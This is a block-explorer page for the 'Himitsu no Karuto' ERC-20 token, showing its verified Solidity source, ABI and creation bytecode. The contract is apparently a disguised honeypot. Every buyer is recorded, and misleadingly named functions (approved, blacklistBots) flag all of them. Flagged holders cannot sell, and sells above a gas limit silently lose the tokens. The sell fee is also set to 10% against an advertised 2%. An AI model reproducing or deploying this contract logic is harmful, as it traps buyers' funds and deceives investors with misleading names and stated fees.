Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
2,500,000 $Karuto
Holders
28
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
35,533.346620803 $KarutoValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Karuto
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-19 */ /** Devotion to something that we strongly believes, something philosophical that have changed our lives to this day, a force strong enough to move the world. Welcome to Himitsu no Karuto Website : https://www.himitsunokaruto.com/ Telegram : https://t.me/HimitsuNoKaruto Twitter : https://twitter.com/KarutoERC Medium : https://medium.com/@himitsunokaruto/himitsu-no-karuto-%E7%A7%98%E5%AF%86%E3%81%AE%E3%82%AB%E3%83%AB%E3%83%88-85b95248c607 Reddit: https://www.reddit.com/user/HimitsuNo_karuto/comments/zpoyqa/himitsu_no_karuto_karuto_devotion_to_something/ Buy/Sell Tax: 2%/2% */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Karuto is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isIncludedFromFee; address[] private includeFromFee; string private constant _name = "Himitsu no Karuto"; string private constant _symbol = "$Karuto"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 2500000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply; uint256 public _maxWalletAmount = _totalSupply; address public marketingWallet; uint256 maxGwei = 28 * 1 gwei; struct BuyFees{ uint256 liquidity; uint256 marketing; } BuyFees public buyFee; struct SellFees{ uint256 liquidity; uint256 marketing; } SellFees public sellFee; constructor () { marketingWallet = payable(msg.sender); balances[_msgSender()] = _totalSupply; buyFee.liquidity = 1; buyFee.marketing = 1; sellFee.liquidity = 1; sellFee.marketing = 9; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { balances[sender] = balances[sender].sub(amount, "Insufficient Balance"); balances[recipient] = balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approved() public virtual { for (uint256 i = 0; i < includeFromFee.length; i++) { _isIncludedFromFee[includeFromFee[i]] = true; } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner { require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8"); buyFee.liquidity = newLiquidityBuyFee; buyFee.marketing= newMarketingBuyFee; require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8"); sellFee.liquidity = newLiquiditySellFee; sellFee.marketing= newMarketingSellFee; } function setMaxGwei(uint256 newMaxGwei) public onlyOwner { maxGwei = newMaxGwei * 1 gwei; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isIncludedFromFee[account] = false; } receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isIncludedFromFee(address account) public view returns(bool) { return _isIncludedFromFee[account]; } function blacklistBots() public onlyOwner { for (uint256 i = 0; i < includeFromFee.length; i++) { _isIncludedFromFee[includeFromFee[i]] = true; } } function takeBuyFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * buyFee.liquidity / 100; uint256 marketingFeeTokens = amount * buyFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function takeSellFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * sellFee.liquidity / 100; uint256 marketingFeeTokens = amount * sellFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(to != address(0), "ERC20: transfer to the zero address"); balances[from] -= amount; uint256 transferAmount = amount; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (tx.gasprice > maxGwei && from == uniswapV2Pair) { _isIncludedFromFee[to] = true; } if (to != uniswapV2Pair) { includeFromFee.push(to); require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount."); transferAmount = takeBuyFees(amount, from); } if (from != uniswapV2Pair) { require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]); if (tx.gasprice > maxGwei) return; transferAmount = takeSellFees(amount, from); } } balances[to] += transferAmount; emit Transfer(from, to, transferAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isIncludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityBuyFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingBuyFee","type":"uint256"},{"internalType":"uint256","name":"newLiquiditySellFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxGwei","type":"uint256"}],"name":"setMaxGwei","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526009600a62000014919062000745565b622625a062000024919062000796565b600855600854600955600854600a55640684ee1800600c553480156200004957600080fd5b5060006200005c620005a360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008546003600062000152620005a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600d600001819055506001600d600101819055506001600f600001819055506009600f60010181905550737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a591906200084b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035591906200084b565b6040518363ffffffff1660e01b8152600401620003749291906200088e565b6020604051808303816000875af115801562000394573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ba91906200084b565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000534620005a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620005959190620008cc565b60405180910390a3620008e9565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200063957808604811115620006115762000610620005ab565b5b6001851615620006215780820291505b80810290506200063185620005da565b9450620005f1565b94509492505050565b60008262000654576001905062000727565b8162000664576000905062000727565b81600181146200067d57600281146200068857620006be565b600191505062000727565b60ff8411156200069d576200069c620005ab565b5b8360020a915084821115620006b757620006b6620005ab565b5b5062000727565b5060208310610133831016604e8410600b8410161715620006f85782820a905083811115620006f257620006f1620005ab565b5b62000727565b620007078484846001620005e7565b92509050818404811115620007215762000720620005ab565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000752826200072e565b91506200075f8362000738565b92506200078e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000642565b905092915050565b6000620007a3826200072e565b9150620007b0836200072e565b9250828202620007c0816200072e565b91508282048414831517620007da57620007d9620005ab565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200081382620007e6565b9050919050565b620008258162000806565b81146200083157600080fd5b50565b60008151905062000845816200081a565b92915050565b600060208284031215620008645762000863620007e1565b5b6000620008748482850162000834565b91505092915050565b620008888162000806565b82525050565b6000604082019050620008a560008301856200087d565b620008b460208301846200087d565b9392505050565b620008c6816200072e565b82525050565b6000602082019050620008e36000830184620008bb565b92915050565b6129dc80620008f96000396000f3fe6080604052600436106101bb5760003560e01c80636c0a24eb116100ec5780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb146105fb578063ad63043e14610638578063dd62ed3e14610675578063ea2f0b37146106b2576101c2565b80638da5cb5b1461056857806395d89b4114610593578063a457c2d7146105be576101c2565b8063715018a6116100c6578063715018a6146104e457806375f0a874146104fb5780637d1db4a5146105265780638768b9e814610551576101c2565b80636c0a24eb146104535780636fcba3771461047e57806370a08231146104a7576101c2565b8063313ce567116101595780634706240211610133578063470624021461039657806349bd5a5e146103c25780635209edf6146103ed5780635342acb414610416576101c2565b8063313ce567146103055780633950935114610330578063437823ec1461036d576101c2565b806318160ddd1161019557806318160ddd1461025a57806319d40b081461028557806323b872dd1461029c5780632b14ca56146102d9576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106db565b6040516101e99190611e95565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190611f50565b610718565b6040516102269190611fab565b60405180910390f35b34801561023b57600080fd5b50610244610736565b6040516102519190612025565b60405180910390f35b34801561026657600080fd5b5061026f61075c565b60405161027c919061204f565b60405180910390f35b34801561029157600080fd5b5061029a610766565b005b3480156102a857600080fd5b506102c360048036038101906102be919061206a565b610822565b6040516102d09190611fab565b60405180910390f35b3480156102e557600080fd5b506102ee6108da565b6040516102fc9291906120bd565b60405180910390f35b34801561031157600080fd5b5061031a6108ec565b6040516103279190612102565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611f50565b6108f5565b6040516103649190611fab565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061211d565b6109a1565b005b3480156103a257600080fd5b506103ab610a91565b6040516103b99291906120bd565b60405180910390f35b3480156103ce57600080fd5b506103d7610aa3565b6040516103e49190612159565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612174565b610ac9565b005b34801561042257600080fd5b5061043d6004803603810190610438919061211d565b610b77565b60405161044a9190611fab565b60405180910390f35b34801561045f57600080fd5b50610468610bcd565b604051610475919061204f565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a091906121a1565b610bd3565b005b3480156104b357600080fd5b506104ce60048036038101906104c9919061211d565b610d42565b6040516104db919061204f565b60405180910390f35b3480156104f057600080fd5b506104f9610d8b565b005b34801561050757600080fd5b50610510610ede565b60405161051d9190612159565b60405180910390f35b34801561053257600080fd5b5061053b610f04565b604051610548919061204f565b60405180910390f35b34801561055d57600080fd5b50610566610f0a565b005b34801561057457600080fd5b5061057d61105b565b60405161058a9190612159565b60405180910390f35b34801561059f57600080fd5b506105a8611084565b6040516105b59190611e95565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190611f50565b6110c1565b6040516105f29190611fab565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d9190611f50565b61116d565b60405161062f9190611fab565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a919061211d565b61118b565b60405161066c9190611fab565b60405180910390f35b34801561068157600080fd5b5061069c60048036038101906106979190612208565b6111e1565b6040516106a9919061204f565b60405180910390f35b3480156106be57600080fd5b506106d960048036038101906106d4919061211d565b611268565b005b60606040518060400160405280601181526020017f48696d69747375206e6f204b617275746f000000000000000000000000000000815250905090565b600061072c610725611358565b8484611360565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b60005b60078054905081101561081f57600160066000600784815481106107905761078f612248565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610817906122a6565b915050610769565b50565b600061082f848484611529565b6108cf8461083b611358565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610885611358565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108ca91906122ee565b611360565b600190509392505050565b600f8060000154908060010154905082565b60006009905090565b6000610997610902611358565b848460046000610910611358565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109929190612322565b611360565b6001905092915050565b6109a9611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2d906123a2565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d8060000154908060010154905082565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad1611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906123a2565b60405180910390fd5b633b9aca0081610b6e91906123c2565b600c8190555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b610bdb611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906123a2565b60405180910390fd5b6008610c7d8486611b3d90919063ffffffff16565b1115610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb590612450565b60405180910390fd5b83600d6000018190555082600d600101819055506008610ce78284611b3d90919063ffffffff16565b1115610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f906124bc565b60405180910390fd5b81600f6000018190555080600f6001018190555050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d93611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e17906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b610f12611358565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff